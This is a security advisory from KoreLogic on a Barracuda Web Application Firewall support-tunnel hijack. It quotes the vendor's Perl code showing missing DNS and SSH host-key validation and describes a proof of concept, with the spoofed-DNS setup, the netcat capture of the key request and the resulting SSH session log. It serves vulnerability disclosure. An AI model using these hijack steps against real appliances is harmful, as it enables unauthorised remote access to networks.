KL-001-2017-014 : Barracuda WAF Support Tunnel Hijack

--hRQHmocKlMfb3M5tV64oBstbrP1cFGn29
Content-Type: multipart/mixed; boundary="k1wpTtCFkDntOCkWdl8vpmcWfTCKlXDf2";
 protected-headers="v1"
From: KoreLogic Disclosures <disclosures@korelogic.com>
To: fulldisclosure@seclists.org, bugtraq@securityfocus.com
Message-ID: <dff79d25-186e-c5d5-952b-83f65e749527@korelogic.com>
Subject: KL-001-2017-014 : Barracuda WAF Support Tunnel Hijack

--k1wpTtCFkDntOCkWdl8vpmcWfTCKlXDf2
Content-Type: text/plain; charset=utf-8
Content-Language: en-US
Content-Transfer-Encoding: quoted-printable

KL-001-2017-014 : Barracuda WAF Support Tunnel Hijack

Title: Barracuda WAF Support Tunnel Hijack
Advisory ID: KL-001-2017-014
Publication Date: 2017.07.06
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-20=
17-014.txt


1. Vulnerability Details

     Affected Vendor: Barracuda
     Affected Product: Web Application Firewall V360
     Affected Version: Firmware v8.0.1.014
     Platform: Embedded Linux
     CWE Classification: CWE-304: Missing Critical Step In Authentication=

     Impact: Remote Access
     Attack vector: DNS, SSH

2. Vulnerability Description

     During the creation of a tunnel connection to barracuda
     support, the code creating the tunnels fails to:
       1) Validate DNS Records,
       2) Validate SSH Host Key, and
       3) Transmit Public SSH Key over an encrypted, verified channel.

3. Technical Description

     file: /usr/local/bin/support-tunnel

     The first host added to the available remote hosts is done through u=
sing
     DNS resolution on support01.barracudanetworks.com. If an attacker ca=
n control DNS,
     it is possible to subvert network traffic by creating records that w=
ill resolve to
     an attackers IP address.

       [snip]
       sub remote_hosts() {
           my $central =3D support01.barracudanetworks.com;
           my @hosts;
           my $host =3D resolv_host($central) || $central;

           push @hosts, {
               ssh =3D> { host =3D> $host, port =3D> 22 },
               web =3D> { host =3D> $host, port =3D> 80 },
           };

           push @hosts, {
               ssh =3D> { host =3D> 64.235.147.77, port =3D> 22 }=
,
               web =3D> { host =3D> 64.235.147.77, port =3D> 80 }=
,
           };

           push @hosts, {
               ssh =3D> { host =3D> 64.235.154.112, port =3D> 22 =
},
               web =3D> { host =3D> 64.235.154.112, port =3D> 80 =
},
           };

           return @hosts;
       } # remote_hosts
       [snip]

     The appliance will send a URL-encoded copy of the public key using H=
TTP.

       sub tunnel_post_key($$$$) {
               my $host        =3D shift;
               my $port        =3D shift;
               my $serial      =3D shift;
               my $pubkey      =3D shift;

               [snip]

               $url    =3D sprintf(/tunnel-broker?serial=3D%s&cs=3D%s&ke=
y=3D%s&keycs=3D%s&version=3D%s, $serial,
Digest::MD5::md5_hex($serial), url_escape($pubkey), Digest::MD5::md5_hex(=
$pubkey), url_escape(VERSION));

               #
               # Write an HTTP request.
               #
               $req    =3D "GET $url HTTP/1.0
Host: $host

";

               do {
                       $retval =3D aio_write($sock, $req);
               } while ($retval =3D=3D AIO_WOULDBLOCK && $stop > time);

               if ($retval !=3D AIO_SUCCESS) {
                       throw(SYSTEM_EXCEPTION, "aio_write($addr:$port, $r=
eq): $!");
                       aio_close($sock);
                       return undef;
               }

               [snip]

               return 1;
       } # tunnel_post_key

     It should be noted that the appliance is shipped with a default key
     (pvt_md5:194d9a5167153e1137134e1896d67b47,pub_md5:62c3a6e160cc501f2f=
fa2d1434176e93)
     but will generate and submit a new key should the default key no lon=
ger exist.
     This happens in the ssh_key_path function.

     Finally, the appliance specifically sets StrictHostKeyChecking to no=
=2E
     This instructs the ssh client to ignore any SSH host-key mismatch an=
d allows
     an attacker to more easily leverage their own SSH server for attacks=
=2E

       sub ssh_command_args($$$$$;$$) {
               my $sshcmd      =3D shift;
               my $serialref   =3D shift;
               my $sshkey      =3D shift;
               my $sshhost     =3D shift || support01.barracudanetworks.=
com;
               my $sshport     =3D shift || 22;
               my $lsshport    =3D shift || local_ssh_port || 22;
               my $lwebport    =3D shift || local_web_port || 8000;
               my $lsslvpnport =3D shift;
               if( get_product() eq "bvs" ) {
                       $lsslvpnport =3D local_sslvpn_port || 443 if !$lss=
lvpnport;
               }
               my @version     =3D ssh_version_of($sshcmd);
               my (@args, $has_unixfwd, $has_exitonfwdfailure, $has_defin=
eremotehost);

               $has_unixfwd            =3D ($version[0] > 4 || ($version[=
0] =3D=3D 4 && $version[1] >=3D 4));
               $has_exitonfwdfailure   =3D ($version[0] > 4 || ($version[=
0] =3D=3D 4 && $version[1] >=3D 4));
               $has_defineremotehost   =3D ($version[0] >=3D 4);

               push @args, -T;                               # Dont al=
locate a TTY
               push @args, - . (v x want_verbose)          # Passthru=
 verbosity
                       if want_verbose;
               push @args, -o, StrictHostKeyChecking=3Dno;   # Ignore=
 Support01 host key (bad idea?)
               push @args, -i, $sshkey;

               push @args, -o, ExitOnForwardFailure=3Dyes    # Abort =
if forwarding fails. (By default if remote
forwarding fails SSH continues the session.)
                       if $has_exitonfwdfailure;

               if ($has_unixfwd) {
                       push @args, -R, "[/var/tunnels/ssh/${$serialref}=
=2Esock]:127.0.0.1:$lsshport";
                       push @args, -R, "[/var/tunnels/www/${$serialref}=
=2Esock]:127.0.0.1:$lwebport";
                       push @args, -R, "[/var/tunnels/sslvpn/${$serialr=
ef}.sock]:127.0.0.1:$lsslvpnport" if
get_product() eq "bvs";
       [snip]

     To demonstrate, we created DNS entries to force support01.barracudan=
etworks.com to resolve to 1.3.3.7.
     Next, we bound to port 80. Using either the web application or admin=
 console, we initiated a support
     tunnel connection.

       # nc -l -p 80
       GET
/tunnel-broker?serial=3D853466&cs=3D6a62a850a77a698f015c35dba7e79a28&key=3D=
ssh%2drsa%20AAAAB3NzaC1yc2EAAAABIwAAAQEAuYb3kDIgcgC89npzov3kteC6qkXLzLl%2=
bopttn5e3WokAlbZFIqFpl67X8ESfhmP7RXaYPiqHEsPEI%2fSuUnapJKYe2gMp7ZmfjYi1rX=
gXkohWzD8DCZPJUgfUk22zdRWxS%2bhPioXjKwO5nZqu1JdH%2fQ11ModDUEhKOluJLvVrqAL=
TLcFkNsnEy89IpbLCchM8rqn86f38NrCQpqqi7aDx6senUzDit2m6Ay27%2f6hUcGiQi331mu=
HcCXMPUPWvV0gFcpjCN1x15%2bMFCUWkAkaJ4E0%2beXyC7YxgglwwnM36RQarpIElmZ5j6Y2=
RYGdvQdgHR7esiw34Jfx%2fmT7GM60GHQ%3d%3d&keycs=3Ddb06172872d43ce0370b4509f=
3d0b876&version=3D2008012801
HTTP/1.1
       TE: deflate,gzip;q=3D0.3
       Connection: TE, close
       Host: support01.barracudanetworks.com
       User-Agent: libwww-perl/5.805

     After creating the appropriate user and adding the public key to the=

     authorized_keys file, the SSH connection was successful.

       sshd[4946]: Accepted publickey for redir from 1.3.3.7 port 60950 s=
sh2: RSA
de:c6:c2:bd:c0:0a:54:31:32:ad:3b:2d:72:80:77:49
       sshd[4946]: pam_unix(sshd:session): session opened for user redir =
by (uid=3D0)
       systemd-logind[692]: New session 92 of user redir.
       systemd: pam_unix(systemd-user:session): session opened for user r=
edir by (uid=3D0)

     The tunnels can be connected to using the newly created unix socket.=


       # ncat -U /var/tunnels/www/853466.sock
       GET / HTTP/1.1

       HTTP/1.1 400 Bad Request
       Server: BarracudaHTTP 4.0
       Date: Thu, 15 Dec 2016 15:27:22 GMT
       Content-Type: text/html
       Content-Length: 178
       Connection: close

       <html>
       <head><title>400 Bad Request</title></head>
       <body bgcolor=3D"white">
       <center><h1>400 Bad Request</h1></center>
       <hr><center>BarracudaHTTP 4.0</center>
       </body>
       </html>

4. Mitigation and Remediation Recommendation

     The vendor has patched this vulnerability in the latest
     virtual appliance release.

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc. and Joshua Hardin.

6. Disclosure Timeline

     2016.12.20 - KoreLogic sends vulnerability report and PoC to
                  Barracuda.
     2016.12.21 - Barracuda acknowledges receipt of the vulnerability
                  report.
     2017.01.09 - Barracuda informs KoreLogic that they are working
                  on remediation for this issue.
     2017.01.26 - Barracuda asks for additional time beyond the
                  standard 45 business day embargo to address this
                  and other issues reported by KoreLogic.
     2017.02.27 - 45 business days have elapsed since the issue was
                  reported.
     2017.04.10 - 75 business days have elapsed since the issue was
                  reported.
     2017.05.15 - 100 business days have elapsed since the issue was
                  reported.
     2017.05.24 - Barracuda informs KoreLogic that the issue has been fix=
ed.
     2017.07.06 - KoreLogic public disclosure.

7. Proof of Concept

     See 3. Technical Description


The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Polic=
y.v2.2.txt


--k1wpTtCFkDntOCkWdl8vpmcWfTCKlXDf2--

--hRQHmocKlMfb3M5tV64oBstbrP1cFGn29
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQFOBAEBCAA4FiEE+cSrtp5jQJEtra70TWWaLA4ZiQwFAllejesaHGRpc2Nsb3N1
cmVzQGtvcmVsb2dpYy5jb20ACgkQTWWaLA4ZiQyW6Qf+Jps/Dtu5JOz5rW7FtePS
oianeMYxm1UWja737vXU8ujdk1Hb8/mDemfCc+Zph2QuhteUp6V2hIw9n+zYoqHb
Hc175EbiEkctrnnPxvxBe3k/t7qCiMbBwvrA8q+5tIQSd9daUNkTfj0Ch+4TSO+O
uDxRpdXLKRqqOeFAYpkenells06oazKR0/cp7UpaRHtjpunN7MVYkv3b2eKEX02f
35RqZ9UWXoAMDJTcy/MiEu1pdcNWwTXheqKa/UlTOzOOUTjxmnbO9dI+yt15NuKl
T91unMA/NV5DM3Nhl8CfDzg3KxyVIoJPJkCW9+64IuMiJZ5VTViQvJMPs3q/lawN
uA==
=WcKM
-----END PGP SIGNATURE-----

--hRQHmocKlMfb3M5tV64oBstbrP1cFGn29--